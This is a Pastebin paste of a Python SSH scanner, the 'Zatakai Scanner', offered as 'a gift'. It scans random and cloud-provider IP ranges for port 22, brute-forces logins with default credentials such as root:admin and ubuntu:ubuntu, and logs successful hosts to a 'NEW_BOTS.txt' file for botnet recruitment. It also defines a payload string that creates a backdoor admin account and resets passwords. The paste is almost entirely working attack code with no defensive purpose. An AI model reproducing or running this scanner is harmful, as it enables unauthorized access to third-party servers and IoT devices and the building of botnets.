Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #A gift from Dump
- import threading, sys, colors, socket, random, os, time
- try:
- import paramiko
- except ImportError:
- print(colors.white + "Paramiko is not installed, installing...")
- os.system("pip install paramiko")
- os.system("clear")
- paramiko.util.log_to_file("/dev/null")
- print("""
- {0} #################
- {1}#|-----------------|#
- #| Zatakai Scanner |#
- #| By M3me_Dump |#
- #|-----------------|#
- {0}|_________________|
- """.format(colors.dark_yellow, colors.white, colors.white))
- if os.getuid() != 0:
- print(colors.dark_red + " You need to be root!" + colors.end)
- quit()
- os.system("ulimit -s 99999; ulimit -n 99999")
- os.system("sysctl -w fs.file-max=999999 2>/dev/null")
- os.system("ulimit 9999999; ulimit -H 99999999")
- payload = """sudo -l; echo -e "12345\n12345\n" | adduser admin; echo -e "12345\n12345\n" | sudo adduser admin; echo "12345\n12345\n" | passwd"""
- class Scanner(threading.Thread):
- global combos, ranges, google, amazon, lucky3
- brazil = ["179.105.","179.152.","189.29.","189.32.","189.33.","189.34.","189.35.","189.39.","189.4.","189.54.","189.55.","189.60.","189.61.","189.62.","189.63.","189.126.", "189.{}.".format(str(random.randrange(0, 256)))]
- google = ["35.", "34.", "104."]
- ovh = ["54.37.", "54.34.", "54.35", "54.122.", "54.91.", "51.{}.".format(str(random.randrange(0, 256))), "51.{}.".format(str(random.randrange(0, 256)))]
- lucky = ["125.27.","101.109.","113.53.","118.173.","122.170.","122.180.", "122.{}.".format(str(random.randrange(0, 256))), "118.{}.".format(str(random.randrange(0, 256))), "125.{}.".format(str(random.randrange(0, 256)))]
- lucky2 = ["122.3","122.52","122.54","119.93", "122.{}.".format(str(random.randrange(0, 256))), "119.{}.".format(str(random.randrange(0, 256))), "123.{}.".format(str(random.randrange(0, 256)))]
- lucky3 = ["110.","111.","112.","113.","114.","115.","116.","117.","118.","119.","223.","1.","103.","203.","202.","122."]
- amazon = ["3.16."]
- other = ["119.93.", "122.3.", "122.52.", "101.109.", "180.180.", "125.27.", "101.109."]
- rand = ['{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256)))]
- try:
- ranges = sys.argv[1]
- except:
- print("No range specified.\nUsage: python {} RANGE\nRANGE - options: Google, OVH, Amazon, Brazil, Lucky, Lucky2, Other, Random".format(sys.argv[0]))
- quit()
- if ranges.lower().strip() == "google":
- ranges = google
- elif ranges.lower().strip() == "ovh":
- ranges = ovh
- elif ranges.lower().strip() == "brazil":
- ranges = brazil
- elif ranges.lower().strip() == "lucky":
- ranges = lucky
- elif ranges.lower().strip() == "lucky2":
- ranges = lucky2
- elif ranges.lower().strip() == "amazon":
- ranges = amazon
- elif ranges.lower().strip() == "other":
- ranges = other
- elif ranges.lower().strip() == "random":
- ranges = rand
- elif ranges.lower().strip() == "lucky3":
- ranges = lucky3
- combos = ["admin:12345", "root:admin", "root:12345", "ubuntu:12345", "ubuntu:ubuntu"]
- def run(self):
- try:
- for _range in ranges:
- c = 0
- for i in range(0, len(combos) - 1):
- for octet1 in range(1, 256):
- if ranges == google or ranges == lucky3:
- try:
- ip = _range + str(random.randrange(0,256)) + "." + str(random.randrange(0, 256)) + "." + str(random.randrange(0, 256))
- except: pass
- else:
- try:
- ip = _range + str(octet1) + "." + str(random.randrange(0, 256))
- c += 1
- if c >= 255:
- octet1 += 1
- except: pass
- try:
- user = combos[random.randint(0, len(combos))].split(":")[0]
- passw = combos[random.randint(0, len(combos))].split(":")[1]
- except:
- pass
- try:
- s = socket.socket()
- s.settimeout(2)
- s.connect((ip, 22))
- s.close()
- #print("{} is GOOD".format(ip))
- except:
- #print(colors.red + "{} IS BAD".format(ip))
- ip = "bad"
- if ip == "bad":
- pass
- else:
- ssh = paramiko.Transport((ip, 22))
- try:
- sys.stdout.write(colors.sky_blue + "\n\rTrying {0}:{1}:{2}".format(ip, user, passw))
- sys.stdout.flush()
- ssh.connect(username=user, password=passw)
- print("\n{0}IoT DEVICE {1} HAS BEEN PWNED".format(colors.green, ip))
- isbad=False
- except KeyboardInterrupt: quit()
- except:
- isbad=True
- ssh.close()
- if isbad != True:
- try:
- f = open("NEW_BOTS.txt", "a").write("{0}:{1}:{2}".format(ip, user, passw)).close()
- ssh.close()
- break
- except: pass
- except KeyboardInterrupt:
- print("{0}User requested interrupt, exiting..{1}".format(colors.blue, colors.end))
- quit()
- def run():
- while 1:
- for i in range(1, 1500):
- try:
- t = Scanner()
- t.daemon = True
- t.start()
- if i > 100:
- t.join()
- except KeyboardInterrupt: quit()
- #except: pass
- run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement